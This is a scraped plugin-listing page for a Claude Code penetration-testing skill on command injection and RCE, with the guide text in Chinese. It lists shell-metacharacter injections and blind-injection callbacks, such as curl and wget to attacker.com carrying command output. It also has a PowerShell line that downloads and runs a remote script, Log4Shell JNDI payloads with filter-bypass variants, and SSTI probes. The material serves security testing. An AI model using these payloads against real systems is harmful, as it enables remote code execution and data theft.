/vuln-skills:pentest-command-injectionfrom vuln-skills
Guides penetration testing for command injection and RCE vulnerabilities including OS injection, deserialization, Log4Shell, SSTI, and PowerShell injection with exploitation techniques and detection checklist.
Ships in vuln-skills. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
Read when SKILL.md points to them.
当对 Web 应用进行命令注入和远程代码执行渗透测试时加载此 Skill。覆盖 OS 命令注入、反序列化、Log4Shell 等。
高风险功能:
识别信号:
Shell 元字符注入:
# 命令分隔符
; whoami
| whoami
|| whoami
& whoami
&& whoami
`whoami`
$(whoami)
# 换行符
%0awhoami
%0dwhoami
盲注检测:
# 时间盲注
; sleep 10
| ping -c 10 127.0.0.1
& timeout /t 10
# OOB 回调
; curl https://attacker.burpcollaborator.net
| nslookup attacker.burpcollaborator.net
; wget https://attacker.com/$(whoami)
反序列化攻击:
CommonsCollections1-7、Spring1-4、Hibernate1ObjectInputStream.readObject()、JSON 反序列化(Jackson enableDefaultTyping、Fastjson @type)TypeConfuseDelegate、WindowsIdentity__reduce__ 方法返回 os.system 调用SSTI(服务端模板注入):
{{7*7}}(Jinja2/Twig)、${7*7}(FreeMarker)、<%= 7*7 %>(ERB)PowerShell 注入(Windows 环境):
; Invoke-Expression "whoami"
| IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
Log4Shell / JNDI 注入:
${jndi:ldap://attacker.com/exploit}
${jndi:rmi://attacker.com/exploit}
# 绕过变体
${${lower:j}ndi:${lower:l}dap://attacker.com/a}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com/a}
利用链(默认凭证 → RCE):
绕过技巧:
{IFS}、$IFS$9、%09(Tab)w'h'o'a'm'i、wh$()oami、Base64 编码后解码执行/usr/bin/id 替代 id\、$@;、|、&&)并附加 sleep 或 OOB 回调命令User-Agent、X-Forwarded-For 中注入 ${jndi:...})漏洞利用可达到的效果:
严重度判断:
以下案例来自 HackerOne 公开披露的真实漏洞报告,展示了该类漏洞在实际目标中的表现形式。
What SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
command-injection, rce, penetration-testing, deserialization, log4shell, ssti
26 skills in this plugin
/go-vuln-auth-bypassUse when auditing Go code involving authentication flows, RBAC policies, Kubernetes admission webhooks, JWT/OAuth token validation, or privilege escalation in cloud-native infrastructure. Covers CWE-287/863/269/284/285/862. Keywords: authentication bypass, authorization bypass, RBAC, admission webhook, JWT, OAuth, privilege escalation, Rancher, Kyverno, impersonation, namespace isolation, middleware auth/go-vuln-crypto-tlsUse when auditing Go code involving TLS configuration, certificate validation, JWT token parsing, SAML assertion verification, webhook signature checking, or cryptographic operations. Covers CWE-295/347/345. Keywords: InsecureSkipVerify, TLS, mTLS, certificate validation, JWT algorithm, SAML signature, cosign, sigstore, hmac.Equal, X.509, webhook HMAC/go-vuln-dosUse when auditing Go code involving goroutine management, channel operations, HTTP request handling, resource allocation, or panic recovery. Covers CWE-400/770/476. Keywords: denial of service, goroutine leak, channel deadlock, panic recover, io.ReadAll, resource exhaustion, OOM, HTTP/2 abuse, protobuf, unbounded allocation, rate limiting/go-vuln-info-disclosureUse when auditing Go code involving logging, error handling, HTTP response data, Kubernetes Secret management, or credential storage. Covers CWE-200/532/522/312/552. Keywords: information disclosure, credential leak, log exposure, Kubernetes Secret, json tag, struct formatting, error message, stack trace, Rancher, Argo CD, sensitive data/go-vuln-injectionUse when auditing Go code involving OS command execution, SQL queries, template rendering, or child command invocation. Covers CWE-78/89/77/94/88. Keywords: command injection, SQL injection, exec.Command, os/exec, database/sql, text/template, html/template, argument injection, shell injection, Gogs, Grafana, MCP stdio/go-vuln-path-traversalUse when auditing Go code involving file path operations, archive extraction, symlink handling, container volume mounts, or HTTP file serving. Covers CWE-22/59. Keywords: path traversal, directory traversal, filepath.Join, symlink, archive extraction, zip slip, tar, volume mount, go-git, Helm chart, os.Open, filepath.Cleannpx claudepluginhub yhy0/ghsa-skill-builder --plugin vuln-skillsOther plugins' skills for the same job